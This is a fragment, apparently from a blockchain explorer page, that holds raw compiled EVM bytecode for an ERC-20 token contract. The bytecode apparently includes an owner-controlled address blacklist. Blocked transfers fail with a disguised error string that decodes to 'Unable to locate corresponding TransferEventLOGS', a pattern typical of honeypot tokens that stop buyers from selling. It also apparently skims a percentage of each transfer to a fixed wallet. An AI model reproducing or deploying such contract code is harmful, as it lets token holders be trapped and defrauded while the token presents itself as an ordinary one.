b506102ee6105ae366004611e78565b600a6020526000908152604090205460ff1681565b3480156105cf57600080fd5b506000546001600160a01b031661031e565b3480156105ed57600080fd5b506102b8610af1565b34801561060257600080fd5b5061034760125481565b34801561061857600080fd5b50610519610627366004611ee9565b610b00565b34801561063857600080fd5b50601a54610347565b34801561064d57600080fd5b5061034760185481565b34801561066357600080fd5b506102ee610672366004611e0b565b610d42565b34801561068357600080fd5b506102ee610692366004611e0b565b610d91565b3480156106a357600080fd5b50610347601e5481565b3480156106b957600080fd5b5061034760155481565b3480156106cf57600080fd5b506105196106de366004611fae565b602155565b3480156106ef57600080fd5b50610347600e5481565b34801561070557600080fd5b50601c5461031e906001600160a01b031681565b34801561072557600080fd5b5061034760115481565b34801561073b57600080fd5b506102ee61074a366004611e78565b60086020526000908152604090205460ff1681565b34801561076b57600080fd5b50610519610d9e565b34801561078057600080fd5b5060045461031e906001600160a01b031681565b3480156107a057600080fd5b5060035461031e9061010090046001600160a01b031681565b3480156107c557600080fd5b50610347600d5481565b3480156107db57600080fd5b506103476107ea366004611fc7565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561082157600080fd5b50610519610830366004611e95565b610e0b565b34801561084157600080fd5b5061034760165481565b34801561085757600080fd5b50610519610866366004611e78565b610e60565b34801561087757600080fd5b50610519610886366004611e95565b610f4a565b60606001805461089a90611ff5565b80601f01602080910402602001604051908101604052809291908181526020018280546108c690611ff5565b80156109135780601f106108e857610100808354040283529160200191610913565b820191906000526020600020905b8154815290600101906020018083116108f657829003601f168201915b5050505050905090565b600061092a338484610ffe565b5060015b92915050565b6000610941848484611122565b50610994843361098f85604051806060016040528060288152602001612235602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906115fd565b610ffe565b5060015b9392505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166000908152600560205260408120546019546109e491611637565b905090565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161092a91859061098f9086610f9f565b6000546001600160a01b03163314610a525760405162461bcd60e51b8152600401610a499061202f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610ac65760405162461bcd60e51b8152600401610a499061202f565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b60606002805461089a90611ff5565b60005b8151811015610d3e5760045482516001600160a01b0390911690839083908110610b2f57610b2f612064565b60200260200101516001600160a01b031603610b4a57600080fd5b600360019054906101000a90046001600160a01b03166001600160a01b0316828281518110610b7b57610b7b612064565b60200260200101516001600160a01b031603610b9657600080fd5b601c5482516001600160a01b0390911690839083908110610bb957610bb9612064565b60200260200101516001600160a01b031603610bd457600080fd5b6000546001600160a01b03166001600160a01b0316828281518110610bfb57610bfb612064565b60200260200101516001600160a01b031603610c1657600080fd5b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316828281518110610c5257610c52612064565b60200260200101516001600160a01b031603610c6d57600080fd5b306001600160a01b0316828281518110610c8957610c89612064565b60200260200101516001600160a01b031603610ca457600080fd5b601b5482516001600160a01b0390911690839083908110610cc757610cc7612064565b60200260200101516001600160a01b031603610ce257600080fd5b600160096000848481518110610cfa57610cfa612064565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610d3681612090565b915050610b03565b5050565b600061092a338461098f8560405180606001604052806025815260200161225d602591393360009081526006602090815260408083206001600160a01b038d16845290915290205491906115fd565b6000610994338484611122565b60035460405160009161010090046001600160a01b03169061753090479084818181858888f193505050503d8060008114610df5576040519150601f19603f3d011682016040523d82523d6000602084013e610dfa565b606091505b5050905080610e0857600080fd5b50565b6000546001600160a01b03163314610e355760405162461bcd60e51b8152600401610a499061202f565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610e8a5760405162461bcd60e51b8152600401610a499061202f565b6001600160a01b038116610eef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a49565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610f745760405162461bcd60e51b8152600401610a499061202f565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b600080610fac83856120a9565b9050838110156109985760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a49565b6001600160a01b0383166110605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a49565b6001600160a01b0382166110c15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a49565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166111885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a49565b6001600160a01b0383166111ea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a49565b6001600160a01b03841660009081526009602052604090205460ff161561126c5760405162461bcd60e51b815260206004820152603060248201527f556e61626c6520746f206c6f6361746520636f72726573706f6e64696e67205460448201526f72616e736665724576656e744c4f475360801b6064820152608401610a49565b601c546001600160a01b0384811691161480156112a257506001600160a01b0384166000908152600a602052604090205460ff16155b156112eb576001600160a01b0384166000908152600560205260409020548083036112e9576112e66112df601f548561167990919063ffffffff16565b8490611637565b92505b505b601c546001600160a01b03848116911614801561131e57506001600160a01b038316600090815260056020526040902054155b156113285743601d555b60205460ff16156113455761133e8484846116bb565b9050610998565b30600090815260056020526040902054601a548110801590819061136c575060205460ff16155b801561139157506001600160a01b0386166000908152600b602052604090205460ff16155b156113b457601b546001600160a01b038781169116146113b4576113b4826117a1565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600590915291909120546114069186906115fd565b6001600160a01b038716600090815260056020908152604080832093909355600790529081205460ff168061145357506001600160a01b03861660009081526007602052604090205460ff165b611467576114628787876118d3565b611469565b845b6001600160a01b03871660009081526005602052604090205490915061148f9082610f9f565b6001600160a01b0387166000908152600560205260409020556022546114e3906114ba6064886120bc565b6114c491906120de565b6001600160a01b03881660009081526005602052604090205490611637565b6001600160a01b0387166000908152600560205260409020556021546115399061150e6064886120bc565b61151891906120de565b6004546001600160a01b031660009081526005602052604090205490610f9f565b6004546001600160a01b03908116600090815260056020908152604091829020939093555183815288821692918a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3601e54601d546115a491906120a9565b431080156115bf5750601c546001600160a01b038881169116145b156115f1576115ef867f0000000000000000000000000000000000000000000000000000000000000000836116bb565b505b60019350505050610998565b600081848411156116215760405162461bcd60e51b8152600401610a499190611d98565b50600061162e84866120f5565b95945050505050565b600061099883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115fd565b600061099883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a61565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260059091529182205461170c9184906115fd565b6001600160a01b03808616600090815260056020526040808220939093559085168152205461173b9083610f9f565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061178f9086815260200190565b60405180910390a35060019392505050565b6020805460ff191660011790556018546013546000916117d1916002916117cb9182908790611a8f565b90611679565b905060006117df8383611637565b90506117ea81611b11565b601354479060009061180a90611801906002611679565b60185490611637565b9050600061182c60026117cb846117cb60135488611a8f90919063ffffffff16565b90506000611849836117cb60155487611a8f90919063ffffffff16565b905060006118618261185b8786611637565b90611637565b90508015611884576003546118849061010090046001600160a01b031682611ca4565b81156118a0576004546118a0906001600160a01b031683611ca4565b6000831180156118b05750600087115b156118bf576118bf8784611cdf565b50506020805460ff19169055505050505050565b6001600160a01b0383166000908152600b6020526040812054819060ff16156119175761191060646117cb60165486611a8f90919063ffffffff16565b90506119dd565b6001600160a01b0384166000908152600b602052604090205460ff16156119dd5761195260646117cb60175486611a8f90919063ffffffff16565b90506000805b600c5481136119b55760408051602081018390529081018690524260608201526080016040516020818303038152906040528051906020012060001c91506119a2878360646116bb565b50806119ad81612108565b915050611958565b506119da600c5460016119c89190612120565b6119d39060646120de565b8590611637565b50505b8015611a5757306000908152600560205260409020546119fd9082610f9f565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a4e9085815260200190565b60405180910390a35b61162e8382611637565b60008183611a825760405162461bcd60e51b8152600401610a499190611d98565b50600061162e84866120bc565b600082600003611aa15750600061092e565b6000611aad83856120de565b905082611aba85836120bc565b146109985760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a49565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611b4657611b46612064565b6001600160a01b03928316602091820292909201810191909152601b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611b9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bc39190612148565b81600181518110611bd657611bd6612064565b6001600160a01b039283166020918202929092010152601b54611bfc9130911684610ffe565b601b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c359085906000908690309042906004016121a9565b600060405180830381600087803b158015611c4f57600080fd5b505af1158015611c63573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611c989291906121e5565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611cda573d6000803e3d6000fd5b505050565b601b54611cf79030906001600160a01b031684610ffe565b601b5460035460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b03610100909204821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611d6c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611d919190612206565b5050505050565b600060208083528351808285015260005b81811015611dc557858101830151858201604001528201611da9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610e0857600080fd5b8035611e0681611de6565b919050565b60008060408385031215611e1e57600080fd5b8235611e2981611de6565b946020939093013593505050565b600080600060608486031215611e4c57600080fd5b8335611e5781611de6565b92506020840135611e6781611de6565b929592945050506040919091013590565b600060208284031215611e8a57600080fd5b813561099881611de6565b60008060408385031215611ea857600080fd5b8235611eb381611de6565b915060208301358015158114611ec857600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611efc57600080fd5b823567ffffffffffffffff80821115611f1457600080fd5b818501915085601f830112611f2857600080fd5b813581811115611f3a57611f3a611ed3565b8060051b604051601f19603f83011681018181108582111715611f5f57611f5f611ed3565b604052918252848201925083810185019188831115611f7d57600080fd5b938501935b82851015611fa257611f9385611dfb565b84529385019392850192611f82565b98975050505050505050565b600060208284031215611fc057600080fd5b5035919050565b60008060408385031215611fda57600080fd5b8235611fe581611de6565b91506020830135611ec881611de6565b600181811c9082168061200957607f821691505b60208210810361202957634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016120a2576120a261207a565b5060010190565b8082018082111561092e5761092e61207a565b6000826120d957634e487b7160e01b600052601260045260246000fd5b500490565b808202811582820484141761092e5761092e61207a565b8181038181111561092e5761092e61207a565b60006001600160ff1b0182016120a2576120a261207a565b80820182811260008312801582168215821617156121405761214061207a565b505092915050565b60006020828403121561215a57600080fd5b815161099881611de6565b600081518084526020808501945080840160005b8381101561219e5781516001600160a01b031687529582019590820190600101612179565b509495945050505050565b85815284602082015260a0604082015260006121c860a0830186612165565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006121fe6040830184612165565b949350505050565b60008060006060848603121561221b57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220111ff4b958eea825879c4297fb0f16df44195602dc42819819a395fc870f50c264736f6c63430008120033
Deployed Bytecode
0x6080604052600436106102975760003560e01c80638da5cb5b1161015a578063c816841b116100c1578063dc44b6a01161007a578063dc44b6a0146107b9578063dd62ed3e146107cf578063ef422a1814610815578063f0cd1dac14610835578063f2fde38b1461084b578063f84ba65d1461086b57600080fd5b8063c816841b146106f9578063c860795214610719578063c867d60b1461072f578063caf5f67d1461075f578063cb7e973e14610774578063d158272d1461079457600080fd5b8063a457c2d711610113578063a457c2d714610657578063a9059cbb14610677578063aea9cd1514610697578063af806d9a146106ad578063b976bd17146106c3578063c5d24189146106e357600080fd5b80638da5cb5b146105c357806395d89b41146105e157806396d0efa7146105f65780639729818a1461060c578063a073d37f1461062c578063a08e671f1461064157600080fd5b80634cdc9c63116101fe578063787a08a6116101b7578063787a08a61461051b57806382eefb4314610531578063844d591c1461054757806388790a681461056757806388c9cb3c1461057d5780638b42507f1461059357600080fd5b80634cdc9c631461045c5780635342acb41461047257806357a5802f146104a257806361a23c69146104b857806370a08231146104ce578063715018a61461050457600080fd5b80632b112e49116102505780632b112e49146103a95780632ca11460146103be578063313ce567146103d4578063328e94a5146103f6578063395093511461040c5780633ecad2711461042c57600080fd5b806306fdde03146102a3578063095ea7b3146102ce5780631694505e146102fe57806318160ddd1461033657806323b872dd1461035557806327c8f8351461037557600080fd5b3661029e57005b600080fd5b3480156102af57600080fd5b506102b861088b565b6040516102c59190611d98565b60405180910390f35b3480156102da57600080fd5b506102ee6102e9366004611e0b565b61091d565b60405190151581526020016102c5565b34801561030a57600080fd5b50601b5461031e906001600160a01b031681565b6040516001600160a01b0390911681526020016102c5565b34801561034257600080fd5b506019545b6040519081526020016102c5565b34801561036157600080fd5b506102ee610370366004611e37565b610934565b34801561038157600080fd5b5061031e7f000000000000000000000000000000000000000000000000000000000000dead81565b3480156103b557600080fd5b5061034761099f565b3480156103ca57600080fd5b50610347600f5481565b3480156103e057600080fd5b5060035460405160ff90911681526020016102c5565b34801561040257600080fd5b50610347600c5481565b34801561041857600080fd5b506102ee610427366004611e0b565b6109e9565b34801561043857600080fd5b506102ee610447366004611e78565b600b6020526000908152604090205460ff1681565b34801561046857600080fd5b50610347601d5481565b34801561047e57600080fd5b506102ee61048d366004611e78565b60076020526000908152604090205460ff1681565b3480156104ae57600080fd5b5061034760135481565b3480156104c457600080fd5b5061034760145481565b3480156104da57600080fd5b506103476104e9366004611e78565b6001600160a01b031660009081526005602052604090205490565b34801561051057600080fd5b50610519610a1f565b005b34801561052757600080fd5b5061034760225481565b34801561053d57600080fd5b5061034760175481565b34801561055357600080fd5b50610519610562366004611e95565b610a9c565b34801561057357600080fd5b5061034760105481565b34801561058957600080fd5b5061034760215481565b34801561059f57600080fd5b506102ee6105ae366004611e78565b600a6020526000908152604090205460ff1681565b3480156105cf57600080fd5b506000546001600160a01b031661031e565b3480156105ed57600080fd5b506102b8610af1565b34801561060257600080fd5b5061034760125481565b34801561061857600080fd5b50610519610627366004611ee9565b610b00565b34801561063857600080fd5b50601a54610347565b34801561064d57600080fd5b5061034760185481565b34801561066357600080fd5b506102ee610672366004611e0b565b610d42565b34801561068357600080fd5b506102ee610692366004611e0b565b610d91565b3480156106a357600080fd5b50610347601e5481565b3480156106b957600080fd5b5061034760155481565b3480156106cf57600080fd5b506105196106de366004611fae565b602155565b3480156106ef57600080fd5b50610347600e5481565b34801561070557600080fd5b50601c5461031e906001600160a01b031681565b34801561072557600080fd5b5061034760115481565b34801561073b57600080fd5b506102ee61074a366004611e78565b60086020526000908152604090205460ff1681565b34801561076b57600080fd5b50610519610d9e565b34801561078057600080fd5b5060045461031e906001600160a01b031681565b3480156107a057600080fd5b5060035461031e9061010090046001600160a01b031681565b3480156107c557600080fd5b50610347600d5481565b3480156107db57600080fd5b506103476107ea366004611fc7565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561082157600080fd5b50610519610830366004611e95565b610e0b565b34801561084157600080fd5b5061034760165481565b34801561085757600080fd5b50610519610866366004611e78565b610e60565b34801561087757600080fd5b50610519610886366004611e95565b610f4a565b60606001805461089a90611ff5565b80601f01602080910402602001604051908101604052809291908181526020018280546108c690611ff5565b80156109135780601f106108e857610100808354040283529160200191610913565b820191906000526020600020905b8154815290600101906020018083116108f657829003601f168201915b5050505050905090565b600061092a338484610ffe565b5060015b92915050565b6000610941848484611122565b50610994843361098f85604051806060016040528060288152602001612235602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906115fd565b610ffe565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b03166000908152600560205260408120546019546109e491611637565b905090565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161092a91859061098f9086610f9f565b6000546001600160a01b03163314610a525760405162461bcd60e51b8152600401610a499061202f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610ac65760405162461bcd60e51b8152600401610a499061202f565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b60606002805461089a90611ff5565b60005b8151811015610d3e5760045482516001600160a01b0390911690839083908110610b2f57610b2f612064565b60200260200101516001600160a01b031603610b4a57600080fd5b600360019054906101000a90046001600160a01b03166001600160a01b0316828281518110610b7b57610b7b612064565b60200260200101516001600160a01b031603610b9657600080fd5b601c5482516001600160a01b0390911690839083908110610bb957610bb9612064565b60200260200101516001600160a01b031603610bd457600080fd5b6000546001600160a01b03166001600160a01b0316828281518110610bfb57610bfb612064565b60200260200101516001600160a01b031603610c1657600080fd5b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316828281518110610c5257610c52612064565b60200260200101516001600160a01b031603610c6d57600080fd5b306001600160a01b0316828281518110610c8957610c89612064565b60200260200101516001600160a01b031603610ca457600080fd5b601b5482516001600160a01b0390911690839083908110610cc757610cc7612064565b60200260200101516001600160a01b031603610ce257600080fd5b600160096000848481518110610cfa57610cfa612064565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610d3681612090565b915050610b03565b5050565b600061092a338461098f8560405180606001604052806025815260200161225d602591393360009081526006602090815260408083206001600160a01b038d16845290915290205491906115fd565b6000610994338484611122565b60035460405160009161010090046001600160a01b03169061753090479084818181858888f193505050503d8060008114610df5576040519150601f19603f3d011682016040523d82523d6000602084013e610dfa565b606091505b5050905080610e0857600080fd5b50565b6000546001600160a01b03163314610e355760405162461bcd60e51b8152600401610a499061202f565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610e8a5760405162461bcd60e51b8152600401610a499061202f565b6001600160a01b038116610eef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a49565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610f745760405162461bcd60e51b8152600401610a499061202f565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b600080610fac83856120a9565b9050838110156109985760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a49565b6001600160a01b0383166110605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a49565b6001600160a01b0382166110c15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a49565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166111885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a49565b6001600160a01b0383166111ea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a49565b6001600160a01b03841660009081526009602052604090205460ff161561126c5760405162461bcd60e51b815260206004820152603060248201527f556e61626c6520746f206c6f6361746520636f72726573706f6e64696e67205460448201526f72616e736665724576656e744c4f475360801b6064820152608401610a49565b601c546001600160a01b0384811691161480156112a257506001600160a01b0384166000908152600a602052604090205460ff16155b156112eb576001600160a01b0384166000908152600560205260409020548083036112e9576112e66112df601f548561167990919063ffffffff16565b8490611637565b92505b505b601c546001600160a01b03848116911614801561131e57506001600160a01b038316600090815260056020526040902054155b156113285743601d555b60205460ff16156113455761133e8484846116bb565b9050610998565b30600090815260056020526040902054601a548110801590819061136c575060205460ff16155b801561139157506001600160a01b0386166000908152600b602052604090205460ff16155b156113b457601b546001600160a01b038781169116146113b4576113b4826117a1565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600590915291909120546114069186906115fd565b6001600160a01b038716600090815260056020908152604080832093909355600790529081205460ff168061145357506001600160a01b03861660009081526007602052604090205460ff165b611467576114628787876118d3565b611469565b845b6001600160a01b03871660009081526005602052604090205490915061148f9082610f9f565b6001600160a01b0387166000908152600560205260409020556022546114e3906114ba6064886120bc565b6114c491906120de565b6001600160a01b03881660009081526005602052604090205490611637565b6001600160a01b0387166000908152600560205260409020556021546115399061150e6064886120bc565b61151891906120de565b6004546001600160a01b031660009081526005602052604090205490610f9f565b6004546001600160a01b03908116600090815260056020908152604091829020939093555183815288821692918a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3601e54601d546115a491906120a9565b431080156115bf5750601c546001600160a01b038881169116145b156115f1576115ef867f000000000000000000000000000000000000000000000000000000000000dead836116bb565b505b60019350505050610998565b600081848411156116215760405162461bcd60e51b8152600401610a499190611d98565b50600061162e84866120f5565b95945050505050565b600061099883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115fd565b600061099883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a61565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260059091529182205461170c9184906115fd565b6001600160a01b03808616600090815260056020526040808220939093559085168152205461173b9083610f9f565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061178f9086815260200190565b60405180910390a35060019392505050565b6020805460ff191660011790556018546013546000916117d1916002916117cb9182908790611a8f565b90611679565b905060006117df8383611637565b90506117ea81611b11565b601354479060009061180a90611801906002611679565b60185490611637565b9050600061182c60026117cb846117cb60135488611a8f90919063ffffffff16565b90506000611849836117cb60155487611a8f90919063ffffffff16565b905060006118618261185b8786611637565b90611637565b90508015611884576003546118849061010090046001600160a01b031682611ca4565b81156118a0576004546118a0906001600160a01b031683611ca4565b6000831180156118b05750600087115b156118bf576118bf8784611cdf565b50506020805460ff19169055505050505050565b6001600160a01b0383166000908152600b6020526040812054819060ff16156119175761191060646117cb60165486611a8f90919063ffffffff16565b90506119dd565b6001600160a01b0384166000908152600b602052604090205460ff16156119dd5761195260646117cb60175486611a8f90919063ffffffff16565b90506000805b600c5481136119b55760408051602081018390529081018690524260608201526080016040516020818303038152906040528051906020012060001c91506119a2878360646116bb565b50806119ad81612108565b915050611958565b506119da600c5460016119c89190612120565b6119d39060646120de565b8590611637565b50505b8015611a5757306000908152600560205260409020546119fd9082610f9f565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a4e9085815260200190565b60405180910390a35b61162e8382611637565b60008183611a825760405162461bcd60e51b8152600401610a499190611d98565b50600061162e84866120bc565b600082600003611aa15750600061092e565b6000611aad83856120de565b905082611aba85836120bc565b146109985760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a49565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611b4657611b46612064565b6001600160a01b03928316602091820292909201810191909152601b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611b9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bc39190612148565b81600181518110611bd657611bd6612064565b6001600160a01b039283166020918202929092010152601b54611bfc9130911684610ffe565b601b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c359085906000908690309042906004016121a9565b600060405180830381600087803b158015611c4f57600080fd5b505af1158015611c63573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611c989291906121e5565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611cda573d6000803e3d6000fd5b505050565b601b54611cf79030906001600160a01b031684610ffe565b601b5460035460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b03610100909204821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611d6c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611d919190612206565b5050505050565b600060208083528351808285015260005b81811015611dc557858101830151858201604001528201611da9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610e0857600080fd5b8035611e0681611de6565b919050565b60008060408385031215611e1e57600080fd5b8235611e2981611de6565b946020939093013593505050565b600080600060608486031215611e4c57600080fd5b8335611e5781611de6565b92506020840135611e6781611de6565b929592945050506040919091013590565b600060208284031215611e8a57600080fd5b813561099881611de6565b60008060408385031215611ea857600080fd5b8235611eb381611de6565b915060208301358015158114611ec857600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611efc57600080fd5b823567ffffffffffffffff80821115611f1457600080fd5b818501915085601f830112611f2857600080fd5b813581811115611f3a57611f3a611ed3565b8060051b604051601f19603f83011681018181108582111715611f5f57611f5f611ed3565b604052918252848201925083810185019188831115611f7d57600080fd5b938501935b82851015611fa257611f9385611dfb565b84529385019392850192611f82565b98975050505050505050565b600060208284031215611fc057600080fd5b5035919050565b60008060408385031215611fda57600080fd5b8235611fe581611de6565b91506020830135611ec881611de6565b600181811c9082168061200957607f821691505b60208210810361202957634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016120a2576120a261207a565b5060010190565b8082018082111561092e5761092e61207a565b6000826120d957634e487b7160e01b600052601260045260246000fd5b500490565b808202811582820484141761092e5761092e61207a565b8181038181111561092e5761092e61207a565b60006001600160ff1b0182016120a2576120a261207a565b80820182811260008312801582168215821617156121405761214061207a565b505092915050565b60006020828403121561215a57600080fd5b815161099881611de6565b600081518084526020808501945080840160005b8381101561219e5781516001600160a01b031687529582019590820190600101612179565b509495945050505050565b85815284602082015260a0604082015260006121c860a0830186612165565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006121fe6040830184612165565b949350505050565b60008060006060848603121561221b57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220111ff4b958eea825879c4297fb0f16df44195602dc42819819a395fc870f50c264736f6c63430008120033
Deployed Bytecode Sourcemap
